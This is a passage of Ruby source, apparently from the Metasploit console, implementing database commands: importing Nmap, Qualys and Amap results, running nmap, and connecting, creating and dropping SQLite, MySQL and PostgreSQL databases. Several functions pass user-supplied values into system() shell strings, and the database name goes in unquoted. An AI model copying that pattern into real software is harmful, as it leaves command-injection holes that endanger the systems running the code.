		def cmd_db_import_nmap_xml(*args)
			return unless active?
			if (not (args and args.length == 1))
				print_error("Usage: db_import_nmap_xml <nmap.xml>")
				return
			end

			warn_about_db_import(args[0])

			if (not File.readable?(args[0]))
				print_status("Could not read the NMAP file")
				return
			end
			framework.db.import_nmap_xml_file(:filename => args[0])
		end

		#
		# Import Qualys XML files
		#
		def cmd_db_import_qualys_xml(*args)
			return unless active?
			if not (args and args.length == 1)
				print_status("Usage: db_import_qualys_xml <result.xml>")
				return
			end

			warn_about_db_import(args[0])

			if not File.readable?(args[0])
				print_status("Could not read the Qualys file")
				return
			end
			framework.db.import_qualys_xml_file(:filename => args[0])
		end

		#
		# Import a Metasploit Express XML report
		def cmd_db_import_msfe_xml(*args)
			return unless active?
			if not (args and args.length == 1)
				print_status("Usage: db_import_msfe_xml <report.xml>")
				return
			end

			warn_about_db_import(args[0])

			if not File.readable?(args[0])
				print_status("Could not read the Metasploit Express file")
				return
			end
			framework.db.import_msf_file(:filename => args[0])
		end

		#
		# Import IP List from a file
		#
		def cmd_db_import_ip_list(*args)
			return unless active?
			if (not (args and args.length == 1))
				print_error("Usage: db_import_file_list <iplist.txt>")
				return
			end

			warn_about_db_import(args[0])

			if (not File.readable?(args[0]))
				print_status("Could not read the text file")
				return
			end
			framework.db.import_ip_list_file(:filename => args[0])
		end

		#
		# Import Nmap data from a file
		#
		def cmd_db_nmap(*args)
			return unless active?
			if (args.length == 0)
				print_status("Usage: db_nmap [nmap options]")
				return
			end

			nmap =
				Rex::FileUtils.find_full_path("nmap") ||
				Rex::FileUtils.find_full_path("nmap.exe")

			if (not nmap)
				print_error("The nmap executable could not be found")
				return
			end

			fd = Tempfile.new('dbnmap')
			fd.binmode
			
			fo = Tempfile.new('dbnmap')
			fo.binmode

			# When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path
			if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/)
				# Custom function needed because cygpath breaks on 8.3 dirs
				tout = Rex::Compat.cygwin_to_win32(fd.path)
				fout = Rex::Compat.cygwin_to_win32(fo.path)
				args.push('-oX', tout)
				args.push('-oN', fout)
			else
				args.push('-oX', fd.path)
				args.push('-oN', fo.path)
			end
			system([nmap, "nmap"], *args)

			# Until we hide stdout above, this is pointless
			# fo.each_line do |line|
			#	print_status("NMAP: #{line.strip}")
			# end

			fo.close(true)
			framework.db.import_nmap_xml_file(:filename => fd.path)
			fd.close(true)
		end

		#
		# Import from a THC-Amap machine-readable log file
		#
		def cmd_db_import_amap_mlog(*args)
			return unless active?
			if args.length == 0
				print_status("Usage: db_import_amap_mlog [logfile]")
				return
			end

			warn_about_db_import(args[0])

			if not File.readable?(args[0])
				print_error("Could not read the log file")
				return
			end

			framework.db.import_amap_log_file(:filename => args[0])
		end

		alias :cmd_db_import_amap_log :cmd_db_import_amap_mlog

		#
		# Database management
		#

		def db_check_driver
			if(not framework.db.driver)
				print_error("No database driver has been specified")
				return false
			end
			true
		end

		#
		# Is everything working?
		#
		def cmd_db_status(*args)
			if framework.db.driver
				if ActiveRecord::Base.connected? and ActiveRecord::Base.connection.active?
					if ActiveRecord::Base.connection.respond_to? :current_database
						cdb = ActiveRecord::Base.connection.current_database
					else
						# ghetto hack for sqlite
						cdb = ActiveRecord::Base.connection.instance_variable_get(:@config)[:database]
					end
					print_status("#{framework.db.driver} connected to #{cdb}")
				else
					print_status("#{framework.db.driver} selected, no connection")
				end
			else
				print_status("No driver selected")
			end
		end

		def cmd_db_driver(*args)

			if(args[0])
				if(args[0] == "-h" || args[0] == "--help")
					print_status("Usage: db_driver [driver-name]")
					return
				end

				if(framework.db.drivers.include?(args[0]))
					framework.db.driver = args[0]
					print_status("Using database driver #{args[0]}")
				else
					print_error("Invalid driver specified")
				end
				return
			end

			if(framework.db.driver)
				print_status("   Active Driver: #{framework.db.driver}")
			else
				print_status("No Active Driver")
			end
			print_status("       Available: #{framework.db.drivers.join(", ")}")
			print_line("")

			if ! framework.db.drivers.include?('sqlite3')
				print_status("    DB Support: Install the sqlite3 driver with the following command:")
				print_status("                $ sudo pkg_add ruby-sqlite3")
				print_error( "    Note that sqlite is not supported due to numerous issues.")
				print_error( "    It may work, but don't count on it")
				print_line("")
			end

			if ! framework.db.drivers.include?('mysql')
				print_status("    DB Support: Install the mysql driver with the following command:")
				print_status("                $ sudo pkg_add metasploit-mysql")
				print_line("")
			end

			if ! framework.db.drivers.include?('postgresql')
				print_status("    DB Support: Install the postgresql driver with the following command:")
				print_status("                $ sudo pkg_add metasploit-pgsql")
				print_line("")
			end
		end

		def cmd_db_driver_tabs(str, words)
			return framework.db.drivers
		end

		def cmd_db_create(*args)
			return if not db_check_driver
			print_error("")
			print_error("Warning: The db_create command is deprecated, use db_connect instead.")
			print_error("         The database and schema will be created automatically by")
			print_error("         db_connect. If db_connect fails to create the database, create")
			print_error("         it manually with your DBMS's administration tools.")
			print_error("")

			meth = "db_create_#{framework.db.driver}"
			if(self.respond_to?(meth))
				self.send(meth, *args)
			else
				print_error("This database driver #{framework.db.driver} is not currently supported")
			end
		end

		def cmd_db_destroy(*args)
			return if not db_check_driver

			if(args[0] and (args[0] == "-h" || args[0] == "--help"))
				print_status("Usage: db_destroy [<user:pass>@<host:port>/<database>]")
				return
			end

			meth = "db_destroy_#{framework.db.driver}"
			if(self.respond_to?(meth))
				self.send(meth, *args)
			else
				print_error("This database driver #{framework.db.driver} is not currently supported")
			end
		end

		def cmd_db_connect(*args)
			return if not db_check_driver
			meth = "db_connect_#{framework.db.driver}"
			if(self.respond_to?(meth))
				self.send(meth, *args)
			else
				print_error("This database driver #{framework.db.driver} is not currently supported")
			end
		end

		def cmd_db_disconnect(*args)
			return if not db_check_driver

			if(args[0] and (args[0] == "-h" || args[0] == "--help"))
				print_status("Usage: db_disconnect")
				return
			end

			if (framework.db)
				framework.db.disconnect()
			end
		end


		def db_find_tools(tools)
			found   = true
			missed  = []
			tools.each do |name|
				if(! Rex::FileUtils.find_full_path(name))
					missed << name
				end
			end
			if(not missed.empty?)
				print_error("This database command requires the following tools to be installed: #{missed.join(", ")}")
				return
			end
			true
		end

		#
		# Database management: SQLite3
		#

		#
		# Connect to an existing SQLite database
		#
		def db_connect_sqlite3(*args)
			print_error("Note that sqlite is not supported due to numerous issues.")
			print_error("It may work, but don't count on it")

			if(args[0] and (args[0] == "-h" || args[0] == "--help"))
				print_status("Usage: db_connect [database-file-path]")
				return
			end

			info = db_parse_db_uri_sqlite3(args[0])
			dbfile = info[:path]
			opts = { 'adapter' => 'sqlite3', 'database' => dbfile }

			if (not ::File.exists?(dbfile))
				print_status("Creating a new database file...")
			end

			if (not framework.db.connect(opts))
				raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
			end

			print_status("Successfully connected to the database")
			print_status("File: #{dbfile}")
		end

		#
		# Create a new SQLite database instance
		#
		def db_create_sqlite3(*args)
			cmd_db_disconnect()

			if(args[0] and (args[0] == "-h" || args[0] == "--help"))
				print_status("Usage: db_create [database-file-path]")
				return
			end

			info = db_parse_db_uri_sqlite3(args[0])
			dbfile = info[:path]
			opts = { 'adapter' => 'sqlite3', 'database' => dbfile }

			if (::File.exists?(dbfile))
				print_status("The specified database already exists, connecting")
			else
				print_status("Creating a new database instance...")
				require_library_or_gem('sqlite3')
			end

			if (not framework.db.connect(opts))
				raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
			end

			print_status("Successfully connected to the database")

			print_status("File: #{dbfile}")
		end

		#
		# Drop an existing database
		#
		def db_destroy_sqlite3(*args)
			cmd_db_disconnect()
			info = db_parse_db_uri_sqlite3(args[0])
			begin
				print_status("Deleting #{info[:path]}...")
				File.unlink(info[:path])
			rescue Errno::ENOENT
				print_error("The specified database does not exist")
			end
		end

		def db_parse_db_uri_sqlite3(path)
			res = {}
			res[:path] = path || ::File.join(Msf::Config.config_directory, 'sqlite3.db')
			res
		end

		#
		# Database management: MySQL
		#

		#
		# Connect to an existing MySQL database
		#
		def db_connect_mysql(*args)
			if(args[0] == nil or args[0] == "-h" or args[0] == "--help")
				print_status("   Usage: db_connect <user:pass>@<host:port>/<database>")
				print_status("Examples:")
				print_status("       db_connect user@metasploit3")
				print_status("       db_connect user:pass@192.168.0.2/metasploit3")
				print_status("       db_connect user:pass@192.168.0.2:1500/metasploit3")
				return
			end

			info = db_parse_db_uri_mysql(args[0])
			opts = { 'adapter' => 'mysql' }

			opts['username'] = info[:user] if (info[:user])
			opts['password'] = info[:pass] if (info[:pass])
			opts['database'] = info[:name]
			opts['host'] = info[:host] if (info[:host])
			opts['port'] = info[:port] if (info[:port])

			opts['host'] ||= 'localhost'

			# This is an ugly hack for a broken MySQL adapter:
			# 	http://dev.rubyonrails.org/ticket/3338
			if (opts['host'].strip.downcase == 'localhost')
				opts['host'] = Socket.gethostbyname("localhost")[3].unpack("C*").join(".")
			end

			if (not framework.db.connect(opts))
				raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
			end
		end

		#
		# Create a new MySQL database instance
		#
		def db_create_mysql(*args)

			cmd_db_disconnect()

			if(args[0] == nil or args[0] == "-h" or args[0] == "--help")
				print_status("   Usage: db_create <user:pass>@<host:port>/<database>")
				print_status("Examples:")
				print_status("       db_create user@metasploit3")
				print_status("       db_create user:pass@192.168.0.2/metasploit3")
				print_status("       db_create user:pass@192.168.0.2:1500/metasploit3")
				return
			end

			return if ! db_find_tools(%W{mysqladmin mysql})

			info = db_parse_db_uri_mysql(args[0])
			opts = { 'adapter' => 'mysql' }

			argv = []

			if (info[:user])
				opts['username'] = info[:user]
				argv.push('-u')
				argv.push(info[:user])
			end

			if (info[:pass])
				argv.push('--password=' + info[:pass])
				opts['password'] = info[:pass]
			end

			if (info[:host])
				opts['host'] = info[:host]
				argv.push('-h')
				argv.push(info[:host])
			end

			if (info[:port])
				opts['port'] = info[:port]
				argv.push('-P')
				argv.push(info[:port])

				# This is an ugly hack for a broken MySQL adapter:
				# 	http://dev.rubyonrails.org/ticket/3338
				if (opts['host'].strip.downcase == 'localhost')
					opts['host'] = Socket.gethostbyname("localhost")[3].unpack("C*").join(".")
				end
			end

			argv.push('-f')

			opts['database'] = info[:name]

			cargs = argv.map{|c| "'#{c}' "}.join

			system("mysqladmin #{cargs} drop #{info[:name]} >/dev/null 2>&1")
			system("mysqladmin #{cargs} create #{info[:name]}")

			if (not framework.db.connect(opts))
				raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
			end

			print_status("Database creation complete (check for errors)")
		end

		#
		# Drop an existing database
		#
		def db_destroy_mysql(*args)

			cmd_db_disconnect()

			return if ! db_find_tools(%W{mysqladmin})

			info = db_parse_db_uri_mysql(args[0])
			argv = []

			if (info[:user])
				argv.push('-u')
				argv.push(info[:user])
			end

			if (info[:pass])
				argv.push('--password=' + info[:pass])
			end

			if (info[:host])
				argv.push('-h')
				argv.push(info[:host])
			end

			if (info[:port])
				argv.push('-P')
				argv.push(info[:port])
			end

			argv.push("-f")

			cargs = argv.map{|c| "'#{c}' "}.join
			system("mysqladmin -f #{cargs} drop #{info[:name]}")
		end

		def db_parse_db_uri_mysql(path)
			res = {}
			if (path)
				auth, dest = path.split('@')
				(dest = auth and auth = nil) if not dest
				res[:user],res[:pass] = auth.split(':') if auth
				targ,name = dest.split('/')
				(name = targ and targ = nil) if not name
				res[:host],res[:port] = targ.split(':') if targ
			end
			res[:name] = name || 'metasploit3'
			res
		end


		#
		# Database management: Postgres
		#

		#
		# Connect to an existing Postgres database
		#
		def db_connect_postgresql(*args)
			if(args[0] == nil or args[0] == "-h" or args[0] == "--help")
				print_status("   Usage: db_connect <user:pass>@<host:port>/<database>")
				print_status("Examples:")
				print_status("       db_connect user@metasploit3")
				print_status("       db_connect user:pass@192.168.0.2/metasploit3")
				print_status("       db_connect user:pass@192.168.0.2:1500/metasploit3")
				return
			end

			info = db_parse_db_uri_postgresql(args[0])
			opts = { 'adapter' => 'postgresql' }

			opts['username'] = info[:user] if (info[:user])
			opts['password'] = info[:pass] if (info[:pass])
			opts['database'] = info[:name]
			opts['host'] = info[:host] if (info[:host])
			opts['port'] = info[:port] if (info[:port])

			opts['pass'] ||= ''

			# Do a little legwork to find the real database socket
			if(! opts['host'])
				while(true)
					done = false
					dirs = %W{ /var/run/postgresql /tmp }
					dirs.each do |dir|
						if(::File.directory?(dir))
							d = ::Dir.new(dir)
							d.entries.grep(/^\.s\.PGSQL.(\d+)$/).each do |ent|
								opts['port'] = ent.split('.')[-1].to_i
								opts['host'] = dir
								done = true
								break
							end
						end
						break if done
					end
					break
				end
			end

			# Default to loopback
			if(! opts['host'])
				opts['host'] = '127.0.0.1'
			end

			if (not framework.db.connect(opts))
				raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
			end
		end

		#
		# Create a new Postgres database instance
		#
		def db_create_postgresql(*args)
			cmd_db_disconnect()

			if(args[0] == nil or args[0] == "-h" or args[0] == "--help")
				print_status("   Usage: db_create <user:pass>@<host:port>/<database>")
				print_status("Examples:")
				print_status("       db_create user@metasploit3")
				print_status("       db_create user:pass@192.168.0.2/metasploit3")
				print_status("       db_create user:pass@192.168.0.2:1500/metasploit3")
				return
			end

			return if ! db_find_tools(%W{psql dropdb createdb})

			info = db_parse_db_uri_postgresql(args[0])
			opts = { 'adapter' => 'postgresql' }
			argv = []

			if (info[:user])
				opts['username'] = info[:user]
				argv.push('-U')
				argv.push(info[:user])
			else
				opts['username'] = 'postgres'
				argv.push('-U')
				argv.push('postgres')
			end

			if (info[:pass])
				print()
				print_status("Warning: You will need to enter the password at the prompts below")
				print()
				argv.push('-W')
			end

			if (info[:host])
				opts['host'] = info[:host]
				argv.push('-h')
				argv.push(info[:host])
			end

			if (info[:port])
				opts['port'] = info[:port]
				argv.push('-p')
				argv.push(info[:port])
			end

			opts['database'] = info[:name]

			cargs = argv.map{|c| "'#{c}' "}.join

			system("dropdb #{cargs} #{info[:name]} >/dev/null 2>&1")
			system("createdb #{cargs} #{info[:name]}")

			opts['password'] = info[:pass] || ''

			# Do a little legwork to find the real database socket
			if(! opts['host'])
				while(true)
					done = false
					dirs = %W{ /var/run/postgresql /tmp }
					dirs.each do |dir|
						if(::File.directory?(dir))
							d = ::Dir.new(dir)
							d.entries.grep(/^\.s\.PGSQL.(\d+)$/).each do |ent|
								opts['port'] = ent.split('.')[-1].to_i
								opts['host'] = dir
								done = true
								break
							end
						end
						break if done
					end
					break
				end
			end

			# Default to loopback
			if(! opts['host'])
				opts['host'] = '127.0.0.1'
			end

			if (not framework.db.connect(opts))
				raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
			end

			print_status("Database creation complete (check for errors)")
		end

		#
		# Drop an existing database
		#
		def db_destroy_postgresql(*args)

			cmd_db_disconnect()

			return if ! db_find_tools(%W{dropdb})

			info = db_parse_db_uri_postgresql(args[0])
			argv = []

			if (info[:user])
				argv.push('-U')
				argv.push(info[:user])
			end

			if (info[:pass])
				print()
				print_status("Warning: You will need to enter the password at the prompts below")
				print()
				argv.push('-W')
			end

			if (info[:host])
				argv.push('-h')
				argv.push(info[:host])
			end

			if (info[:port])
				argv.push('-p')
				argv.push(info[:port])
			end

			cargs = argv.map{|c| "'#{c}' "}.join
			system("dropdb #{cargs} #{info[:name]}")
		end

		def db_parse_db_uri_postgresql(path)
			res = {}
			if (path)
				auth, dest = path.split('@')
				(dest = auth and auth = nil) if not dest
				res[:user],res[:pass] = auth.split(':') if auth
				targ,name = dest.split('/')
				(name = targ and targ = nil) if not name
				res[:host],res[:port] = targ.split(':') if targ
			end
			res[:name] = name || 'metasploit3'
			res
		end

end
end
end
end
end

